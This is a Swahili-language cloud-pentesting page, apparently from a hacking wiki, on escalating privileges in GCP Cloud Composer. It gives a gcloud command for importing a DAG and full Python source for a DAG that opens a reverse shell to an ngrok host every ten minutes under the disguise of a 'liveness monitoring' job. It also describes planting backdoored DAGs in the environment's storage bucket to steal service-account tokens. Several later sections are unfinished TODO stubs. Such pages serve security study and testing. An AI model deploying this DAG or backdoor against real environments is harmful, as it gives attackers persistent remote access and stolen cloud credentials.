Inawezekana kuunganisha akaunti yoyote ya huduma kwenye mazingira mapya ya composer yenye ruhusa hiyo. Baadaye unaweza kutekeleza msimbo ndani ya composer ili kuiba token ya akaunti ya huduma.
Ongeza msimbo wa python DAG kwenye faili na uingize kwa kukimbia:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
Reverse shell DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Kuandika Upatikanaji kwa bakuli la Composer
Vipengele vyote vya mazingira ya composer (DAGs, plugins na data) vinahifadhiwa ndani ya bakuli la GCP. Ikiwa mshambuliaji ana ruhusa za kusoma na kuandika juu yake, anaweza kufuatilia bakuli na wakati wowote DAG inaundwa au kusasishwa, kuwasilisha toleo lililo na backdoor ili mazingira ya composer yapate toleo hilo lililo na backdoor kutoka kwenye hifadhi.
Pata maelezo zaidi kuhusu shambulio hili katika:
Ingiza Plugins
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia plugins
Ingiza Data
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia data